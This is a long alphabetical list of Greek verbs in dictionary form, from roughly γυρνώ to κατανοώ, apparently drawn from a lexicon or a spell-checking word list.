γυρνώ γυροφέρνω γυψώνω γωνιάζω δάκνω δένω δέομαι δέρνομαι δέρνω δέχομαι δέω
δίνομαι δίνω δαγκάνομαι δαγκάνω δαγκώνομαι δαγκώνω δαιμονίζομαι δαιμονίζω
δαιμονολογώ δαιμονοποιώ δακρυρροώ δακρύζω δακτυλογραφούμαι δακτυλογραφώ δαμάζω
δανείζομαι δανείζω δανειοδοτώ δαπανώ δαπανώμαι δασκαλεύω δασμολογώ δασύνομαι
δασώνω δαφνοστεφανώνομαι δαφνοστεφανώνω δαχτυλογραφώ δείχνομαι δείχνω δείχτω
δειγματίζω δεικνύω δειλιάζω δεινοπαθώ δειπνώ δεκάζω δεκαπλασιάζω δεκαρολογώ
δελεάζω δεματίζω δεματιάζω δενδροφυτεύω δεντροφυτεύομαι δεντροφυτεύω δεντρώνω
δεσμεύομαι δεσμεύω δεσπόζω δευτερολογώ δευτερώνω δηγιέμαι δηλητηριάζομαι
δηλοποιώ δηλώνω δημαγωγώ δημαρχεύω δημαρχώ δημεύω δημηγορώ δημιουργούμαι
δημοκοπώ δημοκρατούμαι δημοπρατούμαι δημοπρατώ δημοσιεύομαι δημοσιεύω
δημοσιοποιούμαι δημοσιοποιώ δημοσκοπώ δημοτικίζω δηώ δηώνω διάγω διάζομαι
διέπω διέρχομαι διίσταμαι διαβάζομαι διαβάζω διαβάλλομαι διαβάλλω διαβαίνω
διαβεβαιώνω διαβιβάζομαι διαβιβάζω διαβιβρώσκω διαβιώ διαβιώνω διαβλέπω
διαβουκολώ διαβουλεύομαι διαβρέχω διαβρέχω διαβρώνω διαγγέλλω διαγιγνώσκω
διαγουμίζομαι διαγουμίζω διαγράφομαι διαγράφω διαγραμμίζω διαγωνίζομαι
διαδίδομαι διαδίδω διαδίνομαι διαδίνω διαδηλώνω διαδραματίζεται
διαδραματίζω διαζευγνύω διαζώνω διαθέτω διαθερμαίνω διαθλώ διαθρυλώ διαιρώ
διαιτητεύω διαιτώ διαιτώμαι διαιωνίζομαι διαιωνίζω διακανονίζω διακατέχομαι
διακηρύσσω διακηρύττω διακηρύττω διακηρύχνω διακινδυνεύω διακινώ διακλαδίζω
διακοινώνω διακομίζω διακονεύω διακονώ διακορεύω διακοσμώ διακρίνομαι διακρίνω
διακτινίζω διακυβερνώ διακυβεύω διακυμαίνομαι διακωδικοποιώ διακωμωδώ
διακόπτω διαλάμπω διαλέγομαι διαλέγω διαλαλώ διαλαμβάνω διαλανθάνω διαλείπω
διαλευκαίνω διαλλάσσομαι διαλλάσσω διαλογίζομαι διαλύζω διαλύομαι διαλύω
διαμένω διαμαρτυρώ διαμαρτύρομαι διαμείβομαι διαμείβω διαμελίζω διαμερίζω
διαμεσολαβώ διαμετακομίζω διαμετρώ διαμηνύω διαμηχανώμαι διαμιλλώμαι
διαμορφώνομαι διαμορφώνω διαμφισβητώ διανέμομαι διανέμω διανεμίζω διανεύω
διανθώ διανοίγω διανοούμαι διανυκτερεύω διανυχτερεύω διανύω διαολίζω
διαπαιδαγωγώ διαπεραιώνομαι διαπεραιώνω διαπερνάω διαπερνώ διαπιστεύομαι
διαπιστώνομαι διαπιστώνω διαπλάθω διαπλάσσω διαπλέκω διαπλέω διαπλατύνω
διαπνέομαι διαπομπεύω διαπορθμεύω διαπορώ διαποτίζω διαπράττω διαπρέπω
διαπυούμαι διαρθρώνω διαρκώ διαρμίζω διαρπάζω διαρρέω διαρρήχνω διαρρηγνύω
διασαλεύω διασαφηνίζω διασαφώ διασείω διασκέπτομαι διασκεδάζομαι διασκεδάζω
διασκευάζω διασκορπίζομαι διασκορπίζω διασκορπώ διασπαθίζω διασπείρω διασπώ
διαστέλλομαι διαστέλλω διαστίζω διασταυρώνομαι διασταυρώνω διαστρέφω
διασυμπεριλαμβάνω διασυνδέω διασφαλίζω διασχίζω διασύρω διασώζω διατάζομαι
διατάσσομαι διατάσσω διατέμνω διατίθεμαι διαταράζω διαταράσσω διατείνομαι
διατηρούμαι διατηρώ διατηρῶ διατιμώ διατρέφομαι διατρέφω διατρίβω διατρανώνω
διατυμπανίζω διατυπώνω διαυγάζω διαφέγγω διαφέρομαι διαφέρω διαφαίνομαι
διαφεύγω διαφημίζομαι διαφημίζω διαφθείρω διαφιλονικώ διαφορίζω
διαφοροποιώ διαφυλάγω διαφυλάσσω διαφυλάττω διαφωνώ διαφωτίζω διαχέομαι διαχέω
διαχαράσσω διαχειμάζω διαχειρίζομαι διαχωρίζομαι διαχωρίζω διαχύνω διαψεύδομαι
διαψύχω διβολίζω διδάσκομαι διδάσκω διεγείρω διεθνοποιούμαι διεθνοποιώ
διεκδικώ διεκπεραιώνω διεκτραγωδώ διελέγχω διεμβάλλω διεμβολίζω διενεργώ
διεξάγω διεξέρχομαι διερευνώ διερμηνεύω διερωτώμαι διευθετώ διευθύνομαι
διευκολύνω διευκρινίζω διευκρινώ διευρύνομαι διευρύνω διηγιέμαι διηγούμαι
διημερεύω διισχυρίζομαι δικάζω δικαιοδοτώ δικαιολογούμαι δικαιολογώ δικαιούμαι
δικαιώνω δικηγορώ δικλώ δικρανίζω δικτυώνομαι δικτυώνω διογκούμαι διογκώνομαι
διοικητικοποιώ διοικούμαι διοικώ διολισθαίνω διομολογώ διοπτεύω διορίζομαι
διοργανώνομαι διοργανώνω διορθώνομαι διορθώνω διορύσσω διορώ διοχετεύομαι
διπλαρώνω διπλασιάζομαι διπλασιάζω διπλοκλειδώνω διπλοπαρκάρω διπλοψηφίζω
διπλώνω διποδίζω δισκοβολώ διστάζω δισχίζω διυλίζω διυλίζω διφωσφορυλιώνω
διχάζω διχαλώνω διχογνομώ διχογνωμονώ διχογνωμώ διχοτομώ διψάω διψώ διώκομαι
διώχνω δογματίζω δοκιμάζομαι δοκιμάζω δοκοθέτης δοκώ δολιεύομαι δολιχοδρομώ
δολοφονώ δολώνω δομώ δονκιχωτίζω δονούμαι δονώ δοξάζομαι δοξάζω δοξαπατρίζω
δοξολογώ δουλεύομαι δουλεύω δράττομαι δράχνω δρέπω δραματοποιούμαι δραματοποιώ
δρασκελίζω δρασκελώ δραστηριοποιούμαι δραστηριοποιώ δραχμοποιώ δρεπανίζω
δρομολογώ δροσίζομαι δροσίζω δροσερεύω δροσολογούμαι δροσολογώ δρω δυναμιτίζω
δυναστεύω δυσανασχετώ δυσαρεστούμαι δυσαρεστώ δυσθυμώ δυσκολεύομαι δυσκολεύω
δυσπιστώ δυστοκώ δυστροπώ δυστυχώ δυσφημίζω δυσφημώ δυσφορώ δυσχεραίνω δωρίζω
δωροδοκώ δωροληπτώ δωρώ δύναμαι δύνομαι δύω δώνω είθισται είμαι εγγίζω
εγγράφομαι εγγράφω εγγυοδοτώ εγγυούμαι εγγυώμαι εγείρω εγκαθίσταμαι εγκαθιδρύω
εγκαινιάζω εγκαλούμαι εγκαλώ εγκαρδιώνω εγκαρτερώ εγκαταβιώ εγκαταβιώνω
εγκαταλείπω εγκατασπείρω εγκατασταίνω εγκεντρίζω εγκιβωτίζω εγκλίνομαι εγκλείω
εγκλιματίζομαι εγκλιματίζω εγκλωβίζω εγκολλώ εγκολπώνομαι εγκρίνω εγκυμονώ
εγκωμιάζομαι εγκωμιάζω εγκύπτω εγχέω εγχαράσσω εγχειρίζω εγχειρώ εδέησα
εδράζω εδραιώνω εδρεύω εθίζω εθελοτυφλώ εθνικοποιούμαι εθνικοποιώ ειδικεύομαι
ειδοποιούμαι ειδοποιώ ειδωλοποιώ εικάζω εικονίζω εικονογραφώ εικοτολογώ
ειμί ειρηνεύω ειρωνεύομαι εισάγομαι εισάγω εισέρχομαι εισέχω εισαγγελεύω
εισακούω εισβάλλω εισδύω εισηγούμαι εισκομίζω εισοδηματοποιώ εισοδιάζω εισορμώ
εισπνέω εισπράττω εισρέω εισροφώ εισφέρω εισχωρώ εκατοστίζω εκβάλλω εκβαίνω
εκβαρβαρώνω εκβιάζω εκβιομηχανίζω εκβλαστάνω εκβράζω εκβραχίζω εκγηπεδώνω
εκδέρω εκδίδομαι εκδίδω εκδασώνω εκδηλώνομαι εκδηλώνω εκδημοκρατίζω εκδημώ
εκδικιέμαι εκδικούμαι εκδιώκω εκδράμω εκδύω εκθέτω εκθαμβώνω εκθειάζω
εκθηλύνομαι εκθηλύνω εκθλίβω εκθρονίζομαι εκθρονίζω εκκαθαρίζω εκκαλώ
εκκενώνω εκκινώ εκκλησιάζομαι εκκοκκίζω εκκολάπτω εκκρίνω εκκρεμώ εκλέγω
εκλατομώ εκλαϊκεύω εκλείπω εκλεπτύνω εκλιπαρώ εκλογικεύομαι εκλογικεύω εκλύω
εκμανθάνω εκμαυλίζω εκμεταλλεύομαι εκμηδενίζομαι εκμηδενίζω εκμηχανίζω
εκμυζώ εκμυστηρεύομαι εκναυλώνω εκνευρίζομαι εκνευρίζω εκπέμπω εκπίπτω
εκπαιδεύω εκπαραθυρώνω εκπαρθενεύω εκπατρίζομαι εκπηγάζω εκπλέω εκπλήσσομαι
εκπλήττω εκπλειστηριάζομαι εκπλειστηριάζω εκπληρώνω εκπνέω εκποιούμαι εκποιώ
εκπονώ εκπορεύομαι εκπορθώ εκπορνεύομαι εκπορνεύω εκπροσωπεύω εκπροσωπούμαι
εκπτύσσω εκπυρσοκροτώ εκπωματίζω εκρέω εκρήγνυμαι εκριζώνω εκσκάπτω εκσλαβίζω
εκσπερματώνω εκσπώ εκστασιάζομαι εκστομίζω εκστρατεύω εκσυγχρονίζω
εκσφενδονίζω εκτίθεμαι εκτίνω εκτίω εκταμιεύω εκτείνομαι εκτείνω εκτελούμαι
εκτελώ εκτιμώ εκτινάσσω εκτοκίζω εκτονώνομαι εκτονώνω εκτοξεύω εκτοπίζω
εκτρέπομαι εκτρέπω εκτρέφω εκτραχηλίζομαι εκτραχύνω εκτροχιάζομαι εκτροχιάζω
εκτυλίσσομαι εκτυλίσσω εκτυπώνομαι εκτυπώνω εκτυφλώνω εκφέρω εκφαυλίζω εκφεύγω
εκφοβώ εκφορτίζω εκφορτώνω εκφράζομαι εκφράζω εκφυλίζω εκφωνώ εκφόρτιση
εκφύω εκχέω εκχειλίζω εκχερσώνω εκχιονίζω εκχριστιανίζω εκχυδαΐζω εκχυλίζω
εκχωρώ εκχύνω εκχύω ελέγχομαι ελέγχω ελίσσομαι ελαιοχρωματίζω ελασματοποιώ
ελαττώνω ελαφραίνω ελαφρύνω ελαφρώνω ελαχιστοποιούμαι ελαχιστοποιώ ελαύνω
ελεημονώ ελευθεριάζω ελευθεροκοινωνώ ελευθερώνομαι ελευθερώνω ελεώ ελκύω
ελληνίζω ελληνογλωττώ ελλιμενίζω ελλοχεύω ελπίζω εμίζω εμβάζω εμβάλλω εμβαθύνω
εμβολίζω εμβολιάζω εμμένω εμπήγω εμπίπτω εμπαίζω εμπεδώνω εμπεριέχομαι
εμπιστεύομαι εμπλέκομαι εμπλέκω εμπλουτίζομαι εμπλουτίζω εμπνέω εμποδίζομαι
εμποιώ εμπορευματοποιούμαι εμπορευματοποιώ εμπορεύομαι εμποτίζω εμπρέπει
εμφαίνω εμφανίζομαι εμφανίζω εμφατίζω εμφιαλώνω εμφιλοχωρώ εμφορούμαι εμφυσώ
εμφωλεύω εμψεκάζω εμψυχώνομαι εμψυχώνω εμώ ενάγω ενέχομαι ενέχω ενίσταμαι
εναγκαλίζομαι εναλλάσσομαι εναλλάσσω ενανθρακώνω εναντιοδρομώ εναντιολογώ
εναντιώνω εναποθέτω εναποθηκεύω εναπομένω εναπόκειμαι εναπόκειται
εναρμονίζω ενασκώ ενασμενίζομαι ενασχολούμαι ενατενίζω ενγαλλίζω ενδέχεται
ενδείκνυμαι ενδημώ ενδιαιτώμαι ενδιατρίβω ενδιαφέρομαι ενδιαφέρω ενδογενοποιώ
ενδύομαι ενδύω ενεδρεύω ενεργοποιούμαι ενεργοποιώ ενεργώ ενεχυριάζω
ενηλικιώνω ενημερώνομαι ενημερώνω ενθέτω ενθαρρύνω ενθουσιάζομαι ενθουσιάζω
ενθρονίζω ενθυλακώνω ενθυμίζω ενθυμούμαι ενθυμώ ενιδρύω ενισχύομαι ενισχύω
εννοούμαι εννοώ ενοικιάζομαι ενοικιάζω ενοικώ ενοποιούμαι ενοποιώ ενορχηστρώνω
ενοφθαλμίζω ενοχλούμαι ενοχλώ ενοχοποιούμαι ενοχοποιώ ενσακκίζω ενσαρκώνω
ενσπείρω ενσταλάζω ενστερνίζομαι ενσφηνώνω ενσωματώνω εντάσσω εντέλλομαι
εντατικοποιώ ενταφιάζω εντείνω εντοιχίζω εντοπίζω εντρέπομαι εντρίβω
εντρυφώ εντυπωσιάζομαι εντυπωσιάζω εντυπώνω ενυδατώνω ενυπάρχω ενυπνιάζομαι
ενωτικεύω ενώνομαι ενώνω εξάγομαι εξάγω εξάπτομαι εξάπτω εξέρχομαι εξέχω
εξαίρω εξαγγέλλω εξαγγλίζω εξαγιάζω εξαγνίζω εξαγοράζομαι εξαγοράζω
εξαγριώνω εξαερίζω εξαερώνω εξαθλιώνομαι εξαθλιώνω εξαιρούμαι εξαιρώ
εξακολουθώ εξακοντίζω εξακριβώνω εξαλείφω εξαλλάσσω εξανίσταμαι εξαναγκάζομαι
εξανδραποδίζω εξανεμίζομαι εξανεμίζω εξανθρωπίζω εξαντλούμαι εξαντλώ εξαπατάω
εξαπλασιάζω εξαπλώνομαι εξαπλώνω εξαπολύω εξαποστέλλω εξαργυρώνω εξαρθρώνομαι
εξαρτάται εξαρτίζω εξαρτιέμαι εξαρτύζω εξαρτώ εξαρτώμαι εξαρχαΐζω εξασθενίζω
εξασκώ εξασφαλίζω εξατμίζομαι εξατμίζω εξατομικεύω εξαφανίζομαι εξαφανίζω
εξαχρειώνω εξαϋλώνω εξεγείρομαι εξεγείρω εξειδικεύομαι εξειδικεύω
εξεικονίζω εξελέγχω εξελίσσομαι εξελίσσω εξελληνίζω εξεμώ εξεργάζομαι
εξερευνώ εξερευνώμαι εξετάζομαι εξετάζω εξευγενίζω εξευμενίζω εξευρίσκω
εξευτελίζομαι εξευτελίζω εξηγούμαι εξηγώ εξημερώνομαι εξημερώνω εξιδανικεύω
εξικνούμαι εξιλεώνομαι εξιλεώνω εξισλαμίζω εξισορροπώ εξιστορώ εξισώνω εξιτάρω
εξοβελίζω εξογκώνομαι εξογκώνω εξοδεύω εξοικίζω εξοικειώνομαι εξοικειώνω
εξοκέλλω εξολισθάνω εξολισθαίνω εξολοθρεύω εξομαλίζω εξομαλύνω εξομοιώνω
εξομολογούμαι εξομολογώ εξονειδίζω εξοντώνομαι εξοντώνω εξονυχίζω εξοπλίζω
εξοργίζομαι εξοργίζω εξορκίζω εξορμώ εξορύσσομαι εξορύσσω εξοστρακίζομαι
εξουδετερώνω εξουθενώνομαι εξουθενώνω εξουσιάζω εξουσιοδοτώ εξοφέρω εξοφλούμαι
εξυβρίζω εξυγιαίνω εξυμνούμαι εξυμνώ εξυπακούεται εξυπηρετούμαι εξυπηρετώ
εξυφαίνω εξυψώνω εξωθώ εξωραΐζω εξωτερικεύω εορτάζω επάγω επέρχομαι επέστη
επίκειμαι επίκειται επαίρομαι επαγγέλλομαι επαγρυπνώ επαινούμαι επαινώ επαιτώ
επακουμβώ επαλείφω επαληθεύομαι επαληθεύω επαμφοτερίζω επανάγω επανέρχομαι
επαναβλέπω επαναγοράζω επαναδιαπραγματεύομαι επαναδιατάσσω επαναδιατυπώνω
επαναδιοχετεύω επανακάμπτω επανακαθορίζω επανακρίνω επανακτώ επανακυκλοφορώ
επαναλαμβάνω επαναλειτουργώ επαναμισθώνω επαναπέμπω επαναπατρίζομαι
επαναπαύομαι επαναπαύω επαναποστέλλω επαναπροσδιορίζω επαναπροσλαμβάνω
επαναρχίζω επαναστατικοποιώ επαναστατώ επανασυγκολλώ επανασυγκροτώ
επανασυναρμολογώ επανασυνδέω επανασχεδιάζω επαναταξινομώ επανατοποθετούμαι
επαναφέρω επανδρώνομαι επανδρώνω επανεγγράφω επανεγκαθιστώ επανεισάγω
επανεκλέγω επανεκπαιδεύω επανεμφανίζω επανενεργοποιώ επανεντάσσω επανενώνω
επανεξετάζω επανεπενδύω επανεπιβεβαιώνω επανιδρύω επανοξειδώνω επανορθώνω
επαργυρώνω επαρκώ επαυξάνω επαφίεμαι επείγει επείγομαι επείγω επεκτείνομαι
επελαύνω επεμβαίνω επενδύω επενεργώ επεξεργάζομαι επεξηγώ επερωτώ επευφημώ
επιβάλλομαι επιβάλλω επιβαίνω επιβαρύνομαι επιβαρύνω επιβεβαιώνομαι
επιβιβάζομαι επιβιβάζω επιβιώνω επιβλέπω επιβοηθώ επιβουλεύομαι επιβραβεύω
επιγράφω επιδένω επιδέχομαι επιδίδομαι επιδίδω επιδίνω επιδαψιλεύω
επιδείχνω επιδεικνύομαι επιδεικνύω επιδεινώνομαι επιδεινώνω επιδημώ επιδικάζω
επιδιορθώνω επιδιώκω επιδοκιμάζω επιδοτώ επιδράμω επιδρώ επιζητώ επιζώ επιθέτω
επιθυμώ επικάθημαι επικάθομαι επικαίω επικαθορίζω επικαλούμαι επικαλύπτομαι
επικαρπώνομαι επικασσιτερώνομαι επικασσιτερώνω επικεντρώνομαι επικεντρώνω
επικηρώνω επικοινωνικοποιώ επικοινωνώ επικολλώ επικονιάζομαι επικονιάζω
επικρέμαμαι επικρέμαται επικρίνομαι επικρίνω επικρατεί επικρατώ επικροτώ
επικυρώνω επικύπτω επιλέγω επιλαμβάνομαι επιλύνω επιλύομαι επιλύω επιμένω
επιμελούμαι επιμερίζομαι επιμερίζω επιμεταλλώνω επιμετρώ επιμηκύνω επιμολύνω
επιμορφώνω επινέμω επινεύω επινικελώνω επινοώ επιορκώ επιπάσσω επιπίπτω
επιπεδώνω επιπλέω επιπλήττω επιπλώνομαι επιπλώνω επιπολάζω επιπωματίζω
επισείω επισημαίνομαι επισημαίνω επισημοποιούμαι επισημοποιώ επισιτίζω
επισκευάζομαι επισκευάζω επισκιάζομαι επισκιάζω επισκοπώ επισκοτίζω
επισπεύδω επιστάζω επιστέφω επιστατώ επιστεγάζω επιστρέφομαι επιστρέφω
επιστρατεύω επιστρώνω επισυμβαίνω επισυνάπτομαι επισυνάπτω επισφραγίζω
επισύρω επιτάσσω επιτέλλω επιτίθεμαι επιταχύνομαι επιταχύνω επιτείνω επιτελώ
επιτηρώ επιτιμώ επιτρέπεται επιτρέπω επιτρέχω επιτροπεύω επιτυγχάνω επιτυχαίνω
επιφαίνομαι επιφοιτώ επιφορτίζομαι επιφορτίζω επιφυλάσσομαι επιφυλάσσω
επιχαλκώνω επιχειρηματολογώ επιχειρώ επιχορηγώ επιχρίω επιχρυσώνω επιχρωματίζω
επιχωριάζω επιχώνω επιψαύω εποικίζω εποικοδομώ εποικώ επονομάζω εποπτεύω
εποφθαλμιώ εποφθαλμιώμαι εποχούμαι επωάζομαι επωάζω επωμίζομαι επωφελούμαι
ερανίζομαι εργάζομαι εργοδοτώ εργώ ερείδομαι ερεθίζομαι ερεθίζω ερειπώνομαι
ερευνώ ερευνώμαι ερεύγομαι ερημοδικώ ερημώνομαι ερημώνω ερματίζω ερμηνεύω
ερυθριάζω ερυθριώ ερωτεύομαι ερωτοτροπώ ερωτώ ερώμαι εσθίω εσοδεύω εστιάζω
εσωτερικεύω ετάζω ετεροχρονίζω ετοιμάζομαι ετοιμάζω ετυμολογώ ευαγγελίζομαι
ευαισθητοποιώ ευαρεστούμαι ευαρεστώ ευγνωμονώ ευδαιμονίζω ευδαιμονώ ευδιάζω
ευδοκώ ευελπιστώ ευεργετώ ευημερώ ευθετίζω ευθετώ ευθυγραμμίζω ευθυμογραφώ
ευθυμώ ευθύνομαι ευκαιρώ ευκολύνω ευλαβούμαι ευλογούμαι ευλογώ ευνομούμαι
ευνοώ ευοδούμαι ευοδώνομαι ευπορώ ευπραγώ ευπρεπίζω ευρίσκομαι ευρίσκω ευρωτιώ
ευσπλαγχνίζομαι ευσπλαχνίζομαι ευσταθώ ευστοχώ ευτελίζω ευτρεπίζω ευτυχίζω
ευφραίνομαι ευφραίνω ευφυολογώ ευχαριστιέμαι ευχαριστούμαι ευχαριστώ ευωδιάζω
ευωχούμαι εφάπτομαι εφέλκω εφαρμόζομαι εφαρμόζω εφελκύω εφεσιβάλλω εφευρίσκω
εφησυχάζω εφιδρώνω εφιστώ εφοδιάζομαι εφοδιάζω εφοπλίζω εφορεύω εφορμώ
εχθρεύομαι εχτρεύομαι εύχομαι ζάφτω ζέχνω ζέω ζαβλακώνω ζαβώνω ζαλίζομαι
ζαλικώνομαι ζαλικώνω ζαλώνομαι ζαλώνω ζαρίζω ζαρώνω ζαχαριάζω ζαχαρώνω
ζελατινοποιώ ζεματίζω ζεματώ ζεσταίνομαι ζεσταίνω ζεστοκοπιέμαι ζευγαρίζω
ζεύγω ζεύω ζηλεύω ζηλοτυπώ ζηλοφθονώ ζηλώ ζημιώνομαι ζημιώνω ζητιανεύω
ζητωκραυγάζω ζητώ ζητῶ ζογκλάρω ζορίζομαι ζορίζω ζουζουνίζω ζουλίζω ζουλεύω
ζουμάρω ζουπίζω ζουπώ ζουριάζω ζουρλαίνω ζοχαδιάζω ζυγίζω ζυγιάζω ζυγοσταθμίζω
ζυμώνω ζω ζωγραφίζομαι ζωγραφίζω ζωγραφώ ζωηρεύω ζωντανεύω ζωογονώ ζωοποιώ
ζώνω ηγεμονεύω ηγουμενεύω ηγούμαι ηδονίζομαι ηδονίζω ηδύνομαι ηθικολογώ
ηθογραφώ ηθολογώ ηλεκτρίζομαι ηλεκτρίζω ηλεκτροδοτώ ηλεκτρολύω ηλεκτροφορώ
ηλιάζω ηλικιώνομαι ημερεύω ημερώνω ημιταυτοχρονίζομαι ημπορώ ηνιοχώ ηξεύρω
ηρεμώ ηρωοοποιούμαι ηρωοποιώ ησυχάζω ηττώμαι ηχοβολίζω ηχογραφώ ηχολογώ ηχώ
θάβω θάλλω θάλπω θάπτω θάφτω θέλγω θέλω θέτω θέω θίγομαι θίγω θαλασσοδέρνομαι
θαλασσοκρατώ θαλασσομαχώ θαλασσοπνίγομαι θαλασσοποιώ θαλασσώνω θαμάζω θαμβώνω
θαμποφέγγω θαμπώνω θανατώνω θαρρεύω θαρρώ θαυμάζω θαυματουργώ θεατρίζω
θεληματίζω θελιάζω θεμελιώνω θεοδρομώ θεολογώ θεομαχώ θεοποιούμαι θεοποιώ
θερίζομαι θερίζω θεραπεύομαι θεραπεύω θεριακώνομαι θεριεύω θερμαίνω θερμομετρώ
θεσιθηρώ θεσμίζω θεσμοθετώ θεσπίζω θεωρητικολογώ θεωρητικοποιώ θεωρούμαι θεωρώ
θηκαρώνω θηκιάζω θηλάζω θηλιάζω θηλυκώνω θημωνιάζω θηρεύω θησαυρίζομαι
θητεύω θλίβομαι θλίβω θνήσκω θολώνω θορυβούμαι θορυβώ θρέφω θρασεύω θρασομανώ
θραύω θρηνολογώ θρηνούμαι θρηνωδώ θρηνώ θρησκεύομαι θριαμβεύω θριαμβολογώ
θρομβούμαι θρομβώνω θρονιάζομαι θρονιάζω θροώ θρυλώ θρυμματίζομαι θρυμματίζω
θρύβω θρύπτω θυμάμαι θυμίζω θυματοποιώ θυμιάζω θυμιατίζω θυμούμαι θυμώνω
θυσιάζομαι θυσιάζω θωπεύω θωράω θωρακίζω θωρώ θύω ιαίνω ιατρεύω ιδανικεύω
ιδιάζω ιδιοκατοικώ ιδιοποιούμαι ιδιωτεύω ιδιωτικοποιούμαι ιδιωτικοποιώ
ιδρυματοποιούμαι ιδρυματοποιώ ιδρύω ιδρώνω ιεραρχώ ιερατεύω ιερολογώ ιεροσυλώ
ιζάνω ιθύνω ικανοποιούμαι ικανοποιώ ικετεύω ιλαρύνω ιντριγκάρω ιονίζω ιππεύω
ισάζω ισιάζω ισιώνω ισκιώνω ισοβαθμώ ισοδυναμώ ισοζυγίζω ισοζυγιάζω ισοζυγώ
ισοπεδώνω ισορροπώ ισοσκελίζω ισοσταθμίζω ισοσταθμώ ισοφαρίζω ισοψηφώ ισούμαι
ιστολογώ ιστορίζω ιστορώ ισχάζω ισχναίνω ισχνεύω ισχυρίζομαι ισχυροποιούμαι
ισχύω ισώνω ιχνεύω ιχνηλατώ ιχνογραφώ κάβω κάθημαι κάθομαι κάμνω κάμπτω κάνω
κήδομαι καίγομαι καίγω καίω καβαλικεύω καβαλώ καβαντζάρω καβατζάρω καβγαδίζω
καβουρντίζω καγχάζω καδράρω καδρονιάζω καζανιάζω καζαντίζω καθάπτω καθέλκω
καθίσταμαι καθαγιάζομαι καθαγιάζω καθαγνίζω καθαιμάσσω καθαιρώ καθαρίζομαι
καθαρεύω καθαρογράφω καθαρογραφώ καθελκύω καθετηριάζω καθετοποιώ καθεύδω
καθηλώνω καθησυχάζω καθιδρύω καθιερώνομαι καθιερώνω καθιζάνω καθικετεύω
καθοδηγώ καθολικεύω καθομολογώ καθορίζω καθορώ καθοσιώνω καθρεπτίζω
καθρεφτίζω καθυβρίζω καθυγραίνω καθυποτάζω καθυποτάσσω καθυποχρεώ καθυποχρεώνω
καινοτομώ καιροσκοπώ καιροφυλακτώ καιροφυλαχτώ κακίζω κακαδιάζω κακαρίζω
κακαφορούμαι κακιώνω κακοβάζω κακοβάνω κακογαμώ κακογεννώ κακογερνώ
κακογράφω κακογραφώ κακοδαιμονώ κακοδιοικούμαι κακοδιοικώ κακοδοξώ κακοζωίζω
κακοθανατίζω κακοκαρδίζω κακοκοιμάμαι κακολογιάζω κακολογώ κακομαθαίνω
κακομεταχειρίζομαι κακομιλώ κακομοιριάζομαι κακομοιριάζω κακοπέφτω κακοπαίρνω
κακοπαθώ κακοπαντρεύομαι κακοπαντρεύω κακοπερνώ κακοπληρώνω κακοποιούμαι
κακοσαρκώνω κακοστομαχιάζω κακοσυνεύω κακοσυνηθίζω κακοσυσταίνω κακοτυχίζω
κακουργώ κακοφέρνομαι κακοφαίνεται κακοφορμίζω κακοχρονίζω κακοχωνεύω
κακοψήνω κακό χρόνο να 'χεις καλάρω καλένω καλαΐζω καλαθιάζω καλαθώνω καλακούω
καλαμπουρίζω καλαρέσω καλαφατίζω καλημερίζομαι καλημερίζω καληνυχτίζω
καλησπερίζω καλιγώνω καλιμπράρω καλλιγράφω καλλιγραφώ καλλιεργώ καλλιλογώ
καλλουργώ καλλωπίζω καλλύνω καλλύνω καλμάρω καλμώνω καλοαρέσω καλοβαστώ
καλοβράζω καλογεννώ καλογερεύω καλογυρεύω καλοδέχομαι καλοεξετάζω καλοζυγίζω
καλοζώ καλοθανατίζω καλοθυμάμαι καλοθυμούμαι καλοκάθομαι καλοκαιρεύει
καλοκαιριάζει καλοκαιριάζω καλοκαρδίζω καλοκοιμάμαι καλοκοιτάζω καλολέω
καλομαθαίνω καλομελετώ καλομεταχειρίζομαι καλομετρώ καλομιλώ καλοναρχώ
καλοπέφτω καλοπαντρεύομαι καλοπαντρεύω καλοπερνώ καλοπιάνω καλοπληρώνω
καλοσκαμνίζω καλοστρώνομαι καλοστρώνω καλοσυνεύω καλοσυνηθίζω καλοταΐζω
καλοτυχίζω καλουμάρω καλουπώνω καλοφαίνομαι καλοχρονίζω καλοχωνεύω καλοψήνομαι
καλοψυχίζω καλούμαι καλπάζω καλπονοθεύω καλυτερεύω καλωδιώνω καλωσορίζω
καλύπτω καλώ καλῶ καμακίζω καμακιάζω καμακώνω καμαρώνομαι καμαρώνω καματεύω
καμινιάζω καμμύζω καμμύω καμνώ καμουφλάρω καμπανίζω καμπουριάζω καμπυλώνω
κανακίζω κανακεύω κανονίζομαι κανονίζω κανοναρχώ κανονιοβολώ καπακώνω καπαρώνω
καπελώνω καπηλεύομαι καπιστρώνω καπιτονάρω καπλαντίζω καπνίζω καραβοτσακίζομαι
καραμελιάζω καραμελώνομαι καραμελώνω καρατάρω καρατομώ καραφλιάζω καρβουνιάζω
καρδαμώνω καρδιοχτυπώ καρικώνω καρκινοβατώ καρναγιάρω καρπίζω καρπαζώνω
καρπολογώ καρποφορώ καρπούμαι καρπώνομαι καρτελοποιώ καρτερεύω καρτερώ
καρυκεύω καρφιτσώνομαι καρφιτσώνω καρφώνομαι καρφώνω καρώνω κασελιάζω
κασσιτερώνομαι κασσιτερώνω κατάγομαι κατάγω κατάκειμαι κατάσχομαι κατάσχω
κατέχομαι κατέχω καταβάλλομαι καταβάλλω καταβαίνω καταβαραθρώνω καταβιβάζω
καταβοδώνω καταβολίζω καταβολεύω καταβολιάζω καταβρέχομαι καταβρέχω
καταβροχθίζω καταβυθίζω καταγίνομαι καταγγέλλω καταγελώ καταγιγνώσκω
καταγοητεύω καταγράφομαι καταγράφω καταδέχομαι καταδίδω καταδίνω καταδαμάζω
καταδεικνύω καταδημαγωγώ καταδικάζω καταδιώκω καταδολιεύομαι καταδυναστεύω
καταζητούμαι καταζητώ καταθέτω καταθλίβω καταθορυβώ κατακάθημαι κατακάθομαι
κατακαθίζω κατακεραυνώνω κατακερματίζομαι κατακερματίζω κατακιτρινίζω
κατακλίνομαι κατακλείνω κατακλύζομαι κατακλύζω κατακοκκινίζω κατακουράζω
κατακρίνομαι κατακρίνω κατακρατώ κατακραυγάζω κατακρεουργώ κατακρημνίζω
κατακτώ κατακτώμαι κατακυριεύω κατακυρώνω κατακόβω κατακόπτω καταλάμπω
καταλήγω καταλαβαίνω καταλαγιάζω καταλαλώ καταλαμβάνω καταλασπώνω καταλείπω
καταληστεύω καταλογίζω καταλογογραφώ καταλυπώ καταλύω καταλώ καταμαρτυρώ
καταμαυρίζω καταμερίζω καταμετρώ καταμηνύω καταμοσχεύω κατανέμω καταναγκάζω
καταναλώνομαι καταναλώνω καταναυμαχώ κατανεύω κατανικώ κατανοώ καταντρέπομαι
